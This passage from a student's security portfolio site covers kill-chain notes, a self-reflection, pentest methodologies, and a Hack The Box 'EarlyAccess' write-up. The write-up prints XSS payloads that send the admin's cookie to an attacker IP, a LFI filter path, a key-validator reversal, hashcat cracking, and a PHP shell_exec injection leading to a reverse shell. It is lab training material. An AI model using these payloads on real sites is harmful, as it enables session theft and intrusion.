extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" 